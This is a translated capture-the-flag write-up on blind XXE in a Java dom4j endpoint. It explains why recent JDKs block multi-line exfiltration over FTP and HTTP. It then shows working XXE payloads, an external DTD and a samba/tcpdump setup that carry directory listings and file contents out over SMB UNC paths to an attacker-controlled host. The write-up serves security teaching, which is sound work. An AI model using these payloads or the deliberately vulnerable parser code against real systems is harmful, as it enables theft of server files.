Make XXE Attacks Brilliant Again !!! (English translation)

Make XXE Attacks Brilliant Again !!! - killer, Weixin Official Accounts Platform.

- Published: date not stated
- Original: <https://mp.weixin.qq.com/s/kUlXxJxKO-70QMNCQvLHZA>
- Preserved from: https://mp.weixin.qq.com/s/kUlXxJxKO-70QMNCQvLHZA (manual-import) on 2026-08-10
- Licence: unknown

Content (translated into English)

Machine translation of `weixin-official-accounts-platform-make-xxe-attacks-brilliant-again.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Make XXE Attacks Brilliant Again !!!

Foreword

Last week I set a small XXE challenge, and five people solved it in total: M00nBack, , do9gy, and Y4tacker, with M00nBack taking first blood. All of them found the intended solution. Below I will publish the solution to this challenge.

Please set the " " official account as a favourite! The account now only pushes to readers who read it regularly or have starred it. To do that: open the account, tap the ... in the top right corner, then tap (set as favourite).

Understanding the challenge and finding what it tests

The challenge code is as follows

```java
package com.example.xxe.controller;

import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.StringReader;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;

@RestController
@RequestMapping("/api/system")
public class BlindXxeController {

    @PostMapping("/update-config")
    public ResponseEntity<Map<String, Object>> updateSystemConfig(
            @RequestParam("configXml") String configXml,
            HttpServletRequest request) {

        Map<String, Object> response = new HashMap<>();

        try {
            CompletableFuture.runAsync(() -> {
                try {
                    SAXReader reader = new SAXReader();
                    Document document = reader.read(new StringReader(configXml));
                    processConfigDocument(document);

                } catch (DocumentException e) {
                    System.err.println("            : " + e.getMessage());
                }
            });
            response.put("status", "success");
            response.put("message", "                                ");

            return ResponseEntity.ok(response);

        } catch (Exception e) {
            response.put("status", "error");
```

```
            response.put("message", "                ");
            response.put("error", "            ");

            return ResponseEntity.internalServerError().body(response);
        }
    }


    private void processConfigDocument(Document document) {
        try {
            Element root = document.getRootElement();
            List<Element> settings = root.elements("setting");
            for (Element setting : settings) {
                String name = setting.attributeValue("name");
                String value = setting.getTextTrim();
                System.out.println("        : " + name + " = " + value);
            }

            System.out.println("                    " + settings.size() + "        ");

        } catch (Exception e) {
            System.err.println("            : " + e.getMessage());
        }
    }
}
```

It is a textbook XXE, and every error is caught, so error-based XXE is ruled out from the start. That leaves only out-of-band retrieval of the flag, and in Java, out-of-band file retrieval through XXE normally uses the FTP protocol, for which ready-made projects exist online.

https://github.com/LandGrey/xxe-ftp-server

We tried testing with that project

In the server logs I saw a lot of people testing Linux paths over and over. In fact Windows and Linux are easy to tell apart: if you supply a Linux path and the xxe-ftp-server receives no FTP request, the file you asked for does not exist. So when a request for /etc/passwd brings nothing back, you should immediately realise the back end may be Windows.

From the fake server we learn the JDK version is Java1.8.0_202 and the target operating system is Windows. The information I gave says the flag is in the root directory, so we go on to request c:/flag and c:/flag.txt — and receive no request at all. That tells us the flag's file name is part of the challenge and has to be discovered. XXE can list directories, but our JDK here is Java1.8.0_202, which is too new: according to the xxe-ftp-server project's own notes, multi-line content cannot be retrieved.

At this point the challenge becomes: on Windows, with a recent JDK, how do you retrieve multi-line content out of band?

Thinking it through

This challenge grew out of my research into an XXE vulnerability in a particular product, so I will set out my whole thought process from the time.

Why a recent JDK cannot exfiltrate multi-line content

Reading the JDK source shows the key place to be `sun.net.ftp.impl.FtpClient#issueCommand`

In JDK8u121 the code was

In JDK8u131 the code was

Notice the extra check `var1.indexOf(10)!=1` — it tests whether our FTP command contains `\n` and throws an exception outright if it does, so from JDK>=8u131 multi-line content cannot be exfiltrated over FTP.

This differs from the jdk<8u162 figure quoted online. I downloaded several JDK versions, and the condition I arrive at is that multi-line content cannot be exfiltrated over FTP when `JDK>=8u131`.

I also tried exfiltrating content through the FTP user and pass fields, but in the end those go through the `issueCommand` check as well.

Analysing out-of-band retrieval over HTTP

Since FTP is out, HTTP is the natural next thought. Let us first look at the parts a URI is made of.

The parts that can carry data out are:

-

userinfo

-

hostname

-

path

-

query

-

fragment

`userinfo` looks the most promising, because conventional thinking says the `user:pass` there would be `base64`-encoded, which would neatly encode newlines and other special characters. In practice, though, while `java.net.URL` does accept a `http://user:pass@example.com`-format `URL`, sending the request does not process it automatically or carry a `Authorization` header.

JDK8u65 test

Data can be put in userinfo, `\n`, but nothing is carried out.

JDK8u202 test

No HTTP request is sent at all, because before sending, `sun.net.www.protocol.http.HttpURLConnection#checkURL` checks whether the whole URI contains `\n`

So from the analysis above there is no way to exfiltrate multi-line data over HTTP, unless some encoding exists that encodes multi-line content before checkURL is reached. Research turned up no such method.

Analysing the other protocols that can make outbound requests

Analysing the JDK code, `java.net.URL#getURLStreamHandler` looks up the supported protocols from `sun.net.www.protocol.xxx.Handler`, where xxx is the protocol name, so the following protocols are supported in total

The `jar` protocol ends up calling the others, so I skip analysing it and look at the `mailto` implementation

This is where data is sent outbound

It also checks `\n`, and the `mailto` protocol does not implement the `getInputStream` method, so it fails outright with `protocol doesn't support input`

That completes the analysis of every protocol other than file and netdoc. So can file and netdoc carry data out?

The obvious idea is a UNC path for out-of-band retrieval over SMB, and the Windows target here is exactly right for it. In fact somebody presented using SMB to exfiltrate data at bh-eu-13

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

For some reason they said multi-line data could not be carried out, but testing shows SMB can in fact carry multi-line data.

The solution

From the analysis above we choose the file or netdoc protocol with a UNC path for out-of-band retrieval.

All four solvers set up an anonymous SMB service, then captured traffic with tcpdump and read it in Wireshark to get the flag. Here first is the solution from `M00nBack`, who took first blood.

Set up an anonymous SMB server, and start an HTTP service to host the malicious DTD

```
    samba
apt install samba

/etc/samba/smb.conf

[global]
guest account = nobody
map to guest = Bad User
server role = standalone server
[tmp]
path = /tmp
guest ok = yes
browseable = yes
public = yes


service smbd restart

data.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'file://\\\\ip/?x=%f;'>"> %all;
    web
python3 -m http.server 9991
tcpdump    445
tcpdump -i eth0 port 445 -w smb_445.pcap
```

Send the payload to list the directory

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % f SYSTEM "netdoc://C:/">
<!ENTITY % dtd SYSTEM "http://ip:9991/data.dtd"> %dtd;
]>
<data>&send;</data>
```

Having obtained the flag file's path, `C:/flagxdzqs.txt`, send another payload to read the file's contents

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % f SYSTEM "file:///C:/flagxdzqs.txt">
<!ENTITY % dtd SYSTEM "http://ip:9991/data.dtd"> %dtd;
]>
<data>&send;</data>
```

Successfully obtained `flag{Make XXE Attacks Brilliant Again}`

The solution looks simple, but there are three pitfalls in it.

Pitfall one: if you test locally, `win11` cannot reach an anonymous SMB service for security-policy reasons — it only sends the initial authentication request and never sends `Tree Connect Request`.

Pitfall two: requests to port 445 on a cloud server cannot get out over a home broadband connection.

One solver hit exactly this and spent a long time convinced the cloud server could not open port 445, switching between several cloud providers to no avail. Only after I pointed it out did they realise the cause was their home connection blocking outbound 445, not the cloud service failing to open it.

Pitfall three: the first character of `Tree Connect Request` must not be a semicolon. I found this while reading win.ini: a tester who reads the flag with `file:////ip/%file;` directly will find no SMB request is sent, because the flag's first character is a semicolon. Here we need only use `file:////ip/a%file;` to make the first character something else.

Here is a simple `fake server` script of mine: it uses the `impacket` library to start an anonymous `smb` service, and turning on logging lets you read the exfiltrated multi-line content straight out of the log.

Run the script

```
python3 xxe-smb-server.py public-ip-address web-port
```

Copy the payload it prints and send it to the server

The fake server receives the request and obtains the flag file's path, `C:/flagxdzqs.txt`

Request `C:/flagxdzqs.txt` next to obtain the file's contents, `flag{Make XXE Attacks Brilliant Again}`

Finally, here is the xxe-smb-server project's address

https://github.com/cwkiller/xxe-smb-server
